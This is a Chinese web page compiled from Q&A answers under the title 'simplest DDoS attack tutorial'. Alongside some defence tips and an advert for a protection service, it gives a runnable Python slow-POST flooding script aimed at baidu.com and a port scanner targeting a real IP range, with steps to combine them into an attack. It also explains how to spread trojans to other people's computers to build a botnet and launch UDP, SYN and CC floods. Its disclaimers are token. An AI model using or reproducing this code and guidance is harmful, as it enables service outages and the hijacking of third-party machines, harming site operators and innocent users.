最简单的ddos攻击教程（ddos攻击步骤）
本文目录一览：
- 1、关于应对DDOS攻击的一些常规方法有哪些？
- 2、如何进行DDOS攻击怎么做
- 3、DDOS怎么攻击？怎么防御？说个123
- 4、请问谁能给我DDOS的详细攻击教程，50财富
- 5、DDOS攻击方式有哪些？
关于应对DDOS攻击的一些常规方法有哪些？
DDOS攻击是目前最常见的网络攻击手段。攻击者利用客户机/服务器技术将多台计算机结合为攻击平台，对一个或多个目标发起DDOS攻击，从而使拒绝服务攻击的能力加倍，是黑客最常用的攻击手段之一。下面的墨者安全地列出了一些处理它的常规方法
（1）定期扫描
定期对现有网络主节点进行扫描，检查可能存在的安全漏洞，及时清理出现的漏洞。由于骨干计算机的带宽很高，是黑客的最佳使用场所，因此提高这些主机的安全性非常重要。而所有连接到主网络节点的计算机都是服务器级的计算机，因此更重要的是定期扫描漏洞。
（2）在主干节点配置防火墙
防火墙本身可以抵御DDOS攻击和其他攻击。当检测到攻击时，攻击可以指向一些牺牲主机，这样可以保护真正的主机不受攻击。当然，这些目标牺牲主机可以选择不重要的系统，或具有较少漏洞的系统，如Linux和Unix，以及出色的内部防御攻击。
（3）足以抵御黑客攻击的机器
这是一个理想的应对策略。如果用户有足够的能力和资源来攻击黑客，当黑客不断地访问用户并获取用户资源时，其能量将逐渐丧失。也许在用户受到攻击之前，黑客没有办法做任何事情。然而，这种方法需要大量的投资，大部分设备平时闲置，与中小企业网络的实际运行不一致。
（4）充分利用网络设备保护网络资源
所谓网络设备是指路由器、防火墙等负载平衡设备，可以有效地保护网络。当网络受到攻击时，首先死亡的是路由器，但其他机器没有死亡。死掉的路由器重新启动后会恢复正常，它会很快启动，不会有任何损失。如果其他服务器死机，数据将丢失，重新启动服务器是一个很长的过程。特别是，一家公司使用负载平衡设备，这样当一个路由器受到攻击并崩溃时，另一个路由器将立即工作。因此，最大程度地减少了对DDOS的攻击。
（5）过滤不必要的服务和端口
过滤不必要的服务和端口，即过滤路由器上的假IP…只打开服务端口已经成为许多服务器的一种流行做法，例如WWW服务器，它只打开80个端口，关闭所有其他端口或在防火墙上阻止它们。
（6）检查访客来源
使用单播反向路径转发等方法，通过反向路由器查询，检查访客IP地址是否为真，如果为假，则屏蔽。许多黑客经常使用假IP地址来迷惑用户，很难找到它的来源。因此，使用单播反向路径转发可以减少假IP地址的发生，有助于提高网络安全性。
以上方法可以缓解一些小流量的攻击。当受到大流量攻击时，墨者安全建议是通过访问专业的高防御服务来抵御DDOS攻击。墨者盾能够自动识别攻击流量，智能清理，解决各种流量攻击导致的服务器性能异常问题，保证服务器的稳定性。
如何进行DDOS攻击怎么做
会Python吗？下一个Python3.7.0-3.7.3,把代码复制下，粘贴即可
代码：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="baidu.com"#在双引号里输入对方IP或域名，要保证他联网了或开机了，这里拿百度做示范（别运行！不然后果自负！！）
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如果你要攻击网站，以上代码虽然可行，但是，攻击效果很不好。
所以，最好用Windows里的PING进行检测
操作：
在Windows搜索栏里输入：cmd
输入：
ping -n 10 -l 1 baidu.com
//这里拿百度做示范，别真打百度！
那么，就会发现，系统反映了：
正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52
39.156.69.79 的 Ping 统计信息:
数据包: 已发送 = 10，已接收 = 10，丢失 = 0 (0% 丢失)，
往返行程的估计时间(以毫秒为单位):
最短 = 26ms，最长 = 29ms，平均 = 27ms
说明，百度的服务器有一个主服务器是39.156.69.79
那么，就来查找百度的所有服务器吧！
输入以下代码：
#绝大多数成功的网络攻击都是以端口扫描开始的，在网络安全和黑客领域，端口扫描是经常用到的技术，可以探测指定主机上是否
#开放了指定端口，进一步判断主机是否运行了某些重要的网络服务，最终判断是否存在潜在的安全漏洞，从一定意义上将也属于系统运维的范畴
#端口扫描器程序:模拟端口扫描器的工作原理，并采用多进程技术提高扫描速度
import socket
import sys
import multiprocessing
import time as t
def ports(ports_serve):
#获取常用端口对应的服务名称
for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:
try:
ports_serve[port]=socket.getservbyport(port)
except socket.error:
pass
def ports_scan(host,ports_service):
ports_open=[]
try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#超时时间的不同会影响扫描结果的精确度
socket.timeout(0.01)
except socket.error:
print('socket creation error')
sys.exit()
for port in ports_service:
try:
#尝试连接指定端口
sock.connect((host,port))
#记录打开的端口
ports_open.append(port)
sock.close()
except socket.error:
pass
return ports_open
if __name__ == '__main__':
m=multiprocessing.Manager()
ports_service=dict()
results=dict()
ports(ports_service)
#创建进程池，允许最多8个进程同时运行
pool = multiprocessing.Pool(processes=8)
net = '39.156.69.'#后面的IP少一个，因为要扫描这段区域内的IP，从而进行攻击
for host_number in map(str,range(8,10)):
host = net + host_number
#创建一个新进程，同时记录其运行结果
results[host] = pool.apply_async(ports_scan,(host,ports_service))
print('starting '+host+'...')
#关闭进程池，close()必须在join()之前调用
pool.close()
#等待进程池中的进程全部执行结束
pool.join()
#打印输出结果
for host in results:
print('='*30)
print(host,'.'*10)
for port in results[host].get():
print(port,':',ports_service[port])
你会发现，Python反映了：
starting 39.156.69.8...
starting 39.156.69.9...
//并不是指百度只有这两个服务器！而是我们目前只能扫描到两个！
接着，运行DDoS攻击程序，把IP分别改为39.156.69.8和39.156.69.9
就可以实现DDoS攻击了。
//注：请不要用于违法用途，并且不要随意进行攻击。如想使用，可攻击虚拟机，但不要攻击外网IP和域名！！！
DDOS怎么攻击？怎么防御？说个123
DDOS的表现形式主要有两种，一种为流量攻击，主要是针对网络带宽的攻击，即大量攻击包导致网络带宽被阻塞，合法网络包被虚假的攻击包淹没而无法到达主机；另一种为资源耗尽攻击，主要针对服务器主机的攻击，即通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务。
目前最主要的攻击方式有三种：SYN/ACK Flood攻击、TCP全连接攻击、刷Script脚本攻击，如果把这三个攻击方式具体说的话会很多，只说说第一个常见的，其余的你自己下去查查吧，
SYN/ACK Flood攻击：这中攻击方法是经典最有效的DDOS方法，可通杀各种系统的网路服务，主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包，导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务，由于源都是伪造的故追踪起来比较困难，缺点是实施起来有一定的难度，需要高带宽的僵尸主机支持。少量的这中攻击会导致主机服务器无法访问，但却可以Ping的痛，在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态，大量的这中攻击会导致Ping失败、TCP/IP失效，并会出现系统凝固。
目前来说这种攻击是无法完全阻止的，
请问谁能给我DDOS的详细攻击教程，50财富
第一步：下载一个DDOS攻击的软件，phpddos.或者终结者远控。或者服务器的发包工具，比如QQ蜗牛
第二步：如果是phpddos，下载一些PHP的资源，一般都是6.0的小马通用的，载入到攻击器，phpddos打的都是UDPFLOOD流量，填写IP，通用攻击端口为80，检测对方网络情况，在DOS窗口输入 ping ip -t ，如果对方没有采取禁止外网ping功能，那么就会有数据回复，如果攻击掉线，数据回复就中断，出现request timed out. 如果是采取自带压力的DDOS攻击远控之类，首先要用远控配置木马程序，然后要把木马程序批量种植到他人的电脑上，比如1433抓鸡，135抓鸡，如果木马不免杀，就扫下国外的，工具网上都有。抓到足够的肉鸡，打开压力测试，输入IP，攻击模式有很多种，CC攻击是用肉鸡来C网页的，也就是站点根服务器，或者空间不会有流量异常，但网页会打不开，也可以对站点IP进行SYNFLOOD UDPFLOOD之类的攻击，打网站比较有效的是现在最新的DNS模式。
DDOS攻击方式有哪些？
ddos攻击主要有以下3种方式。
大流量攻击
大流量攻击通过海量流量使得网络的带宽和基础设施达到饱和，将其消耗殆尽，从而实现淹没网络的目的。一旦流量超过网络的容量，或网络与互联网其他部分的连接能力，网络将无法访问。大流量攻击实例包括ICMP、碎片和UDP洪水。
TCP状态耗尽攻击
TCP状态耗尽攻击试图消耗许多基础设施组件(例如负载均衡器、防火墙和应用服务器本身)中存在的连接状态表。例如，防火墙必须分析每个数据包来确定数据包是离散连接，现有连接的存续，还是现有连接的完结。同样，入侵防御系统必须跟踪状态以实施基于签名的数据包检测和有状态的协议分析。这些设备和其他有状态的设备—包括负责均衡器—被会话洪水或连接攻击频繁攻陷。例如，Sockstress攻击可通过打开套接字来填充连接表以便快速淹没防火墙的状态表。
应用层攻击
应用层攻击使用更加尖端的机制来实现黑客的目标。应用层攻击并非使用流量或会话来淹没网络，它针对特定的应用/服务缓慢地耗尽应用层上的资源。应用层攻击在低流量速率下十分有效，从协议角度看，攻击中涉及的流量可能是合法的。这使得应用层攻击比其他类型的DDoS攻击更加难以检测。HTTP洪水、DNS词典、Slowloris等都是应用层攻击的实例。
